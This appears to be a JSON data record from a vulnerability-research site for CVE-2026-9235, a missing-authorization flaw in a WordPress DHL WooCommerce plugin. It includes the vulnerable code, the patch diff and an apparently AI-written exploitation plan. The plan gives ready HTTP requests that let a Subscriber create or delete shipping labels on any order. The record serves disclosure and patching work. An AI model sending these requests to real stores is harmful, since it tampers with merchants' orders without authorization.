[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fv2_JzGpmWqTnJVgL2nnzRxFTVd_i3WrCoid57ZwRJ94":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-9235","dhl-ecommerce-benelux-for-woocommerce-missing-authorization-to-authenticated-subscriber-arbitrary-shipping-label-creatio","DHL eCommerce (Benelux) for WooCommerce \u003C= 2.2.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Shipping Label Creation and Deletion via dhlpwc_label_create and dhlpwc_label_delete AJAX Actions","The DHL eCommerce (Benelux) for WooCommerce plugin for WordPress is vulnerable to unauthorized modification and loss of data due to a missing capability check and missing nonce verification on the create_label() and delete_label() functions in versions up to, and including, 2.2.3. These functions are wired to the wp_ajax_dhlpwc_label_create and wp_ajax_dhlpwc_label_delete hooks and act on an attacker-supplied post_id (WooCommerce order ID). This makes it possible for authenticated attackers, with Subscriber-level access and above, to create or delete DHL shipping labels associated with any WooCommerce order on the site.","dhlpwc",null,"\u003C=2.2.3","2.2.4","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-08 20:45:56","2026-07-09 09:31:22",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb5e0af52-3e38-4ff4-b53c-c7c35f1b956a?source=api-prod",1,[22,23,24,25],"README.md","dhlpwoocommerce.php","includes\u002Fcontroller\u002Fadmin\u002Fclass-dhlpwc-controller-admin-order-metabox.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-9235 (DHL eCommerce Benelux for WooCommerce)\n\n## 1. Vulnerability Summary\nThe **DHL eCommerce (Benelux) for WooCommerce** plugin (versions \u003C= 2.2.3) fails to implement proper authorization and CSRF protection on its AJAX handlers for creating and deleting shipping labels. Specifically, the functions `create_label()` and `delete_label()` in `DHLPWC_Controller_Admin_Order_Metabox` lack capability checks (`current_user_can`) and nonce verification (`check_ajax_referer`). This allows any authenticated user (including low-privileged Subscriber accounts) to manipulate shipping labels for any WooCommerce order on the site.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Actions:** \n    *   `dhlpwc_label_create`\n    *   `dhlpwc_label_delete`\n*   **Parameters:**\n    *   `post_id`: The WooCommerce Order ID (target).\n    *   `pieces`: (For create) Array of package details.\n    *   `label_id`: (For delete) The ID of the label to be removed.\n*   **Authentication:** Authenticated (Subscriber level and above).\n*   **Preconditions:** \n    1.  The WooCommerce shop's base country must be set to 'NL', 'BE', or 'LU' (checked in `DHLPWC::country_check()`).\n    2.  The plugin must have API access enabled\u002Fconfigured (checked in `DHLPWC::init()`).\n\n## 3. Code Flow\n1.  **Entry Point:** `wp-admin\u002Fadmin-ajax.php` is called with `action=dhlpwc_label_create`.\n2.  **Hook Registration:** In `includes\u002Fcontroller\u002Fadmin\u002Fclass-dhlpwc-controller-admin-order-metabox.php`, the `__construct()` method registers the action:\n    ```php\n    add_action('wp_ajax_dhlpwc_label_create',  array($this, 'create_label'));\n    ```\n    *Note: `is_admin()` returns true during AJAX requests, so this registration occurs even for non-admin users.*\n3.  **Handler Execution:** The `create_label()` function is invoked:\n    ```php\n    public function create_label() {\n        $post_id = wc_clean($_POST['post_id']);\n        \u002F\u002F ... parameters extracted ...\n        $service = DHLPWC_Model_Service_Shipment::instance();\n        $success = $service->create($post_id, $pieces, $label_options, $label_option_data, $to_business);\n        \u002F\u002F ... returns JSON response ...\n    }\n    ```\n4.  **Vulnerability Sink:** There is no call to `current_user_can()` to verify the user has permissions to manage orders (e.g., `manage_woocommerce`), nor is there a `check_ajax_referer()` call to validate a nonce. The `post_id` is used directly to interact with the shipping service.\n\n## 4. Nonce Acquisition Strategy\nBased on the vulnerability description and source code analysis, **no nonce verification is performed**.\nThe functions `create_label()` and `delete_label()` do not call `check_ajax_referer()` or `wp_verify_nonce()`. Therefore, no nonce acquisition step is required for exploitation.\n\n## 5. Exploitation Strategy\nThe exploit will be demonstrated by using a Subscriber account to create a shipping label for an existing order.\n\n### Step 1: Create Label\n**Request:**\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=dhlpwc_label_create&post_id=[ORDER_ID]&pieces[0][parcel_type]=SMALL&pieces[0][quantity]=1&pieces[0][weight]=1&to_business=no\n```\n\n**Expected Response:**\nA JSON object containing a `view` key with HTML content. If successful, the HTML will contain the \"Label created.\" notice.\n```json\n{\"data\":{\"view\":\"...Label created....\"},\"errors\":[],\"notices\":[],\"warnings\":[]}\n```\n\n### Step 2: Delete Label (Optional)\nIf a label ID is known (often returned in meta or reachable via order details), it can be deleted.\n**Request:**\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=dhlpwc_label_delete&post_id=[ORDER_ID]&label_id=[LABEL_ID]\n```\n\n## 6. Test Data Setup\n1.  **Configure Shop Country:** Use WP-CLI to set the WooCommerce base country to 'NL' (Netherlands) to bypass the plugin's initialization check.\n    ```bash\n    wp option update woocommerce_default_country \"NL\"\n    ```\n2.  **Enable Test Mode:** If possible, enable the plugin's test mode to avoid requiring real DHL credentials.\n3.  **Create Target Order:** Create a WooCommerce order to target.\n    ```bash\n    wp post create --post_type=shop_order --post_status=wc-processing --post_title=\"Target Order\"\n    # Capture the generated ID\n    ```\n4.  **Create Attacker User:** Create a Subscriber user and log in (capture cookies).\n    ```bash\n    wp user create attacker attacker@example.com --role=subscriber --user_pass=password\n    ```\n\n## 7. Expected Results\n*   The `admin-ajax.php` request should return a `200 OK` response.\n*   The JSON body should indicate success (`Label created.`).\n*   A new shipping label should be associated with the order in the database.\n\n## 8. Verification Steps\nAfter the HTTP request, verify the label creation using WP-CLI:\n```bash\n# Check post meta for the order to see if DHL label data was added\nwp post meta list [ORDER_ID] | grep \"dhl\"\n```\nOr check the order notes:\n```bash\nwp comment list --post_id=[ORDER_ID] --type=order_note\n```\n\n## 9. Alternative Approaches\nIf the plugin requires valid credentials even for the AJAX handler to complete, the exploit might result in an \"API responded with error\" message. However, the **Missing Authorization** is still proven if the execution reaches the `DHLPWC_Model_Service_Shipment::create()` call without being blocked by permissions. You can verify this by observing the JSON response: an \"Unauthorized\" error comes from WordPress core\u002Fpermissions, while a \"Label could not be created\" error comes from the plugin's internal logic *after* the authorization bypass.","The DHL eCommerce (Benelux) for WooCommerce plugin fails to perform authorization and CSRF checks on its AJAX handlers for managing shipping labels. This allows authenticated users with Subscriber-level access or higher to create, delete, or print shipping labels for any WooCommerce order on the site.","\u002F\u002F includes\u002Fcontroller\u002Fadmin\u002Fclass-dhlpwc-controller-admin-order-metabox.php:114\n    public function create_label()\n    {\n        $post_id = wc_clean($_POST['post_id']);\n        $label_options = isset($_POST['label_options']) && is_array($_POST['label_options']) ? wc_clean($_POST['label_options']) : array();\n        $label_option_data = isset($_POST['label_option_data']) && is_array($_POST['label_option_data']) ? array_map(function ($var) {\n            return wc_sanitize_textarea($var);\n        }, $_POST['label_option_data']) : array();\n        $to_business = (isset($_POST['to_business']) && wc_clean($_POST['to_business']) == 'yes') ? true : false;\n        $pieces = wc_clean($_POST['pieces']);\n        foreach ($pieces as &$piece) {\n            $piece['label_size'] = isset($piece['parcel_type']) ? $piece['parcel_type'] : 'SMALL';\n            $piece['quantity'] = isset($piece['quantity']) ? (int)$piece['quantity'] : 1;\n            $piece['weight'] = isset($piece['weight']) ? (float)$piece['weight'] : null;\n        }\n\n        $service = DHLPWC_Model_Service_Shipment::instance();\n        $success = $service->create($post_id, $pieces, $label_options, $label_option_data, $to_business);\n\n---\n\n\u002F\u002F includes\u002Fcontroller\u002Fadmin\u002Fclass-dhlpwc-controller-admin-order-metabox.php:161\n    public function delete_label()\n    {\n        $post_id = wc_clean($_POST['post_id']);\n        $label_id = wc_clean($_POST['label_id']);\n\n        $service = new DHLPWC_Model_Service_Label();\n        $service->delete($post_id, $label_id);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdhlpwc\u002F2.2.3\u002Fincludes\u002Fcontroller\u002Fadmin\u002Fclass-dhlpwc-controller-admin-order-metabox.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdhlpwc\u002F2.2.4\u002Fincludes\u002Fcontroller\u002Fadmin\u002Fclass-dhlpwc-controller-admin-order-metabox.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdhlpwc\u002F2.2.3\u002Fincludes\u002Fcontroller\u002Fadmin\u002Fclass-dhlpwc-controller-admin-order-metabox.php\t2024-07-22 11:46:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdhlpwc\u002F2.2.4\u002Fincludes\u002Fcontroller\u002Fadmin\u002Fclass-dhlpwc-controller-admin-order-metabox.php\t2026-06-17 07:26:10.000000000 +0000\n@@ -116,6 +116,10 @@\n      *\u002F\n     public function create_label()\n     {\n+        if (!current_user_can('edit_shop_orders')) {\n+            wp_die(__('You do not have sufficient permissions to perform this action.', 'dhlpwc'), 403);\n+        }\n+\n         $post_id = wc_clean($_POST['post_id']);\n         $label_options = isset($_POST['label_options']) && is_array($_POST['label_options']) ? wc_clean($_POST['label_options']) : array();\n         $label_option_data = isset($_POST['label_option_data']) && is_array($_POST['label_option_data']) ? array_map(function ($var) {\n@@ -163,6 +167,10 @@\n      *\u002F\n     public function delete_label()\n     {\n+        if (!current_user_can('edit_shop_orders')) {\n+            wp_die(__('You do not have sufficient permissions to perform this action.', 'dhlpwc'), 403);\n+        }\n+\n         $post_id = wc_clean($_POST['post_id']);\n         $label_id = wc_clean($_POST['label_id']);\n \n@@ -186,6 +194,10 @@\n      *\u002F\n     public function print_label()\n     {\n+        if (!current_user_can('edit_shop_orders')) {\n+            wp_die(__('You do not have sufficient permissions to perform this action.', 'dhlpwc'), 403);\n+        }\n+\n         $post_id = wc_clean($_POST['post_id']);\n         $label_id = wc_clean($_POST['label_id']);\n \n@@ -213,6 +225,10 @@\n      *\u002F\n     public function print_label_request()\n     {\n+        if (!current_user_can('edit_shop_orders')) {\n+            wp_die(__('You do not have sufficient permissions to perform this action.', 'dhlpwc'), 403);\n+        }\n+\n         $post_id = wc_clean($_GET['post_id']);\n         $label_id = wc_clean($_GET['label_id']);","The vulnerability is exploited via the WordPress AJAX endpoint (\u002Fwp-admin\u002Fadmin-ajax.php). An authenticated attacker with Subscriber-level privileges can send a POST request with the 'action' parameter set to 'dhlpwc_label_create' or 'dhlpwc_label_delete'. By supplying a target WooCommerce Order ID in the 'post_id' parameter (and a 'label_id' for deletion), the attacker can manipulate shipping labels because the plugin fails to verify nonces or check for the 'edit_shop_orders' capability before processing the request.","gemini-3-flash-preview","2026-07-15 22:15:09","2026-07-15 22:15:52",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","2.2.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fdhlpwc\u002Ftags\u002F2.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fdhlpwc.2.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fdhlpwc\u002Ftags\u002F2.2.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fdhlpwc.2.2.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fdhlpwc\u002Ftags"]